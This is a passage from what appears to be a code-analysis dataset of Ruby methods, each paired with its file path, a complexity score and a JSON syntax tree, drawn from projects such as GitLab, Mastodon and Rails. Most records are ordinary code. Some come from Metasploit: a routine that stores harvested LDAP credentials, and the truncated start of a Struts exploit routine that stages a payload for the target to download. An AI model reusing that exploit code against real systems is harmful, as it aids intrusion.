in to\"]},{\"type\":\"str\",\"children\":[\"VirtualOffice\"]}]}]}]}]}]}]}","id":"5620af19-0803-4be6-b167-d4c8f6e7db4e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/hardware.rb","start_line":46,"raw_source":"def hostnames\n @hostnames ||= networks.collect(&:hostname).compact.uniq\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"hostnames\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hostnames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"networks\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hostname\"]}]}]},\"compact\"]},\"uniq\"]}]}]}","id":"a1e986ad-dfa9-456c-91c1-b500cfedf0d0"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/queued_post_serializer.rb","start_line":21,"raw_source":"def initialize(object, options = {})\n Discourse.deprecate(\"QueuedPostSerializer is deprecated.\", drop_from: \"3.3.0\")\n super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"deprecate\",{\"type\":\"str\",\"children\":[\"QueuedPostSerializer is deprecated.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop_from\"]},{\"type\":\"str\",\"children\":[\"3.3.0\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c49aaed8-3afa-4c22-a20f-25f9062664b3"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/concerns/toolable.rb","start_line":86,"raw_source":"def parse_response_body(body)\n JSON.parse(body)\n rescue JSON::ParserError\n body\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_response_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"body\"]}]},null]}]}","id":"f4f49499-3805-416d-aa7b-8cdae5200f38"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb","start_line":69,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: 'LDAP',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n login_data = {\n last_attempted_at: DateTime.now,\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::SUCCESSFUL,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"LDAP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"58ee3780-eb75-4671-ae23-2bbc72cce37d"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails6/app/controllers/users_controller.rb","start_line":6,"raw_source":"def index\n @users = User.all\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@users\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"all\"]}]}]}","id":"9484a6ed-6891-412a-8ce9-e5f8c7cf9044"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240503180517_drop_table_geo_reset_checksum_events.rb","start_line":10,"raw_source":"def down\n create_table :geo_reset_checksum_events do |t|\n t.integer :project_id, index: { name: 'index_geo_reset_checksum_events_on_project_id' }, null: false\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"geo_reset_checksum_events\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_geo_reset_checksum_events_on_project_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"6b18ffbd-eab0-4437-9dbb-90b7ec67f428"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/presenters/activitypub/activity_presenter.rb","start_line":7,"raw_source":"def from_status(status, allow_inlining: true)\n new.tap do |presenter|\n presenter.id = ActivityPub::TagManager.instance.activity_uri_for(status)\n presenter.type = status.reblog? ? 'Announce' : 'Create'\n presenter.actor = ActivityPub::TagManager.instance.uri_for(status.account)\n presenter.published = status.created_at\n presenter.to = ActivityPub::TagManager.instance.to(status)\n presenter.cc = ActivityPub::TagManager.instance.cc(status)\n\n presenter.virtual_object = begin\n if status.reblog?\n if allow_inlining && status.account == status.proper.account && status.proper.private_visibility? && status.local?\n status.proper\n else\n ActivityPub::TagManager.instance.uri_for(status.proper)\n end\n else\n status.proper\n end\n end\n end\n end","complexity_score":54.0,"ast_json":"{\"type\":\"def\",\"children\":[\"from_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"kwoptarg\",\"children\":[\"allow_inlining\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"presenter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"activity_uri_for\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"type=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog?\"]},{\"type\":\"str\",\"children\":[\"Announce\"]},{\"type\":\"str\",\"children\":[\"Create\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"actor=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"published=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"created_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"to=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"to\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"cc=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"cc\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"presenter\"]},\"virtual_object=\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_inlining\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]},\"account\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]},\"private_visibility?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"local?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]}]}]}]}]}]}]}","id":"899cd24a-22d0-48fd-9949-2ab9c7f23e12"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses/favourited_by_accounts_controller.rb","start_line":37,"raw_source":"def next_path\n api_v1_status_favourited_by_index_url pagination_params(max_id: pagination_max_id) if records_continue?\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"next_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records_continue?\"]},{\"type\":\"send\",\"children\":[null,\"api_v1_status_favourited_by_index_url\",{\"type\":\"send\",\"children\":[null,\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_max_id\"]}]}]}]}]},null]}]}","id":"e5266b8b-31f7-4c85-bde2-e3ab9fe40350"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/profiler_test.rb","start_line":74,"raw_source":"def test_profiling_includes_line_numbers_of_included_partials\n t = Template.parse(\"{% include 'a_template' %}\", profile: true)\n t.render!\n\n included_children = t.profiler[0].children\n\n # {% assign template_name = 'a_template' %}\n assert_equal(1, included_children[0].line_number)\n # {{ template_name }}\n assert_equal(2, included_children[1].line_number)\n end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_profiling_includes_line_numbers_of_included_partials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{% include 'a_template' %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"render!\"]},{\"type\":\"lvasgn\",\"children\":[\"included_children\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"profiler\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"children\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included_children\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"line_number\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included_children\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"line_number\"]}]}]}]}","id":"6de2eb22-d765-463c-9a26-53efcba04796"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/json/v1_0/rpc_command.rb","start_line":140,"raw_source":"def post_process_result(result, method, params)\n # post-process payload module result for JSON output\n if method == MODULE_EXECUTE_KEY && params.size >= 2 &&\n params[0] == PAYLOAD_MODULE_TYPE_KEY && result.key?(PAYLOAD_KEY)\n result[PAYLOAD_KEY] = Base64.strict_encode64(result[PAYLOAD_KEY])\n end\n\n result\n end","complexity_score":15.95,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MODULE_EXECUTE_KEY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"size\"]},\">=\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"PAYLOAD_MODULE_TYPE_KEY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"key?\",{\"type\":\"const\",\"children\":[null,\"PAYLOAD_KEY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"PAYLOAD_KEY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"PAYLOAD_KEY\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"ca0c4ac0-2f82-49d1-8037-e3887259eea8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/check_manifest_coherence_service.rb","start_line":17,"raw_source":"def execute\n parsed_package_json = Gitlab::Json.parse(package_json_entry.read)\n\n raise MismatchError, MANIFEST_NOT_COHERENT_ERROR unless coherent?(parsed_package_json)\n\n ServiceResponse.success\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_package_json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_json_entry\"]},\"read\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coherent?\",{\"type\":\"lvar\",\"children\":[\"parsed_package_json\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MismatchError\"]},{\"type\":\"const\",\"children\":[null,\"MANIFEST_NOT_COHERENT_ERROR\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]}]}","id":"8c176624-cd12-4dc0-b024-3d9888117e01"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250516111810_add_group_id_unique_index_to_group_push_rules.rb","start_line":9,"raw_source":"def up\n # remove existing non-unique index if it exists\n if index_exists?(:group_push_rules, :group_id, name: INDEX_NAME)\n remove_concurrent_index :group_push_rules, :group_id, name: INDEX_NAME\n end\n\n add_concurrent_index :group_push_rules, :group_id, unique: true, name: INDEX_NAME\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"group_push_rules\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index\",{\"type\":\"sym\",\"children\":[\"group_push_rules\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"group_push_rules\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"4c1ae395-0080-4a75-bb15-f77d60d923df"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_with_index.rb","start_line":81,"raw_source":"def with_index_range(send)\n range_between(send.loc.selector.begin_pos, send.source_range.end_pos)\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"with_index_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"send\"]}]},{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send\"]},\"loc\"]},\"selector\"]},\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send\"]},\"source_range\"]},\"end_pos\"]}]}]}","id":"43769284-762f-4aea-b0a5-72b056ce4954"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/mock_response.rb","start_line":47,"raw_source":"def initialize(status, headers, body, errors = nil)\n @original_headers = headers\n\n if errors\n @errors = errors.string if errors.respond_to?(:string)\n else\n @errors = \"\"\n end\n\n super(body, status, headers)\n\n @cookies = parse_cookies_from_header\n buffered_body!\n end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"optarg\",\"children\":[\"errors\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_headers\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"string\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookies\",{\"type\":\"send\",\"children\":[null,\"parse_cookies_from_header\"]}]},{\"type\":\"send\",\"children\":[null,\"buffered_body!\"]}]}]}","id":"ed1a6e2e-bc76-40b0-b0c3-6a90bdb478a4"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/custom_tools_controller.rb","start_line":6,"raw_source":"def index\n @custom_tools = account_custom_tools.enabled\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@custom_tools\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_custom_tools\"]},\"enabled\"]}]}]}","id":"e37cfb53-1f78-4fc9-8517-86e160343d4c"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/render_partial_with_record_identification_test.rb","start_line":70,"raw_source":"def test_rendering_partial_with_scope\n get :render_with_scope\n assert_equal \"Birdman is better!Nuh uh!\", @response.body\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rendering_partial_with_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_with_scope\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Birdman is better!Nuh uh!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"84a59682-ed1c-4ab0-93da-3dfcbb271627"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/kubeconfig/entry/cluster.rb","start_line":27,"raw_source":"def cluster\n {\n server: url,\n 'certificate-authority-data': certificate_authority_data\n }.compact\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cluster\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"certificate-authority-data\"]},{\"type\":\"send\",\"children\":[null,\"certificate_authority_data\"]}]}]},\"compact\"]}]}","id":"c1e059f7-6946-4355-862c-1e3027e809f8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/repositories/post_receive_worker.rb","start_line":211,"raw_source":"def enqueue_project_cache_update(post_received, project)\n stats_to_invalidate = %w[repository_size]\n stats_to_invalidate << 'commit_count' if post_received.includes_default_branch?\n\n ProjectCacheWorker.perform_async(project.id, [], stats_to_invalidate, true)\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_project_cache_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_received\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stats_to_invalidate\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"repository_size\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_received\"]},\"includes_default_branch?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats_to_invalidate\"]},\"<<\",{\"type\":\"str\",\"children\":[\"commit_count\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectCacheWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"stats_to_invalidate\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"ad8eec9f-d81b-4cf7-b099-6aff400671ea"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts_default_action_mapper.rb","start_line":199,"raw_source":"def exploit_linux\n downfile = rand_text_alpha(8 + rand(8))\n @pl = @exe\n @pl_sent = false\n\n #\n # start HTTP service if necessary\n #\n service_url = start_http_service\n\n #\n # download payload\n #\n fname = datastore['WritableDir']\n fname = \"#{fname}/\" unless fname =~ %r'/$'\n fname << downfile\n uri = normalize_uri(target_uri.path)\n uri << 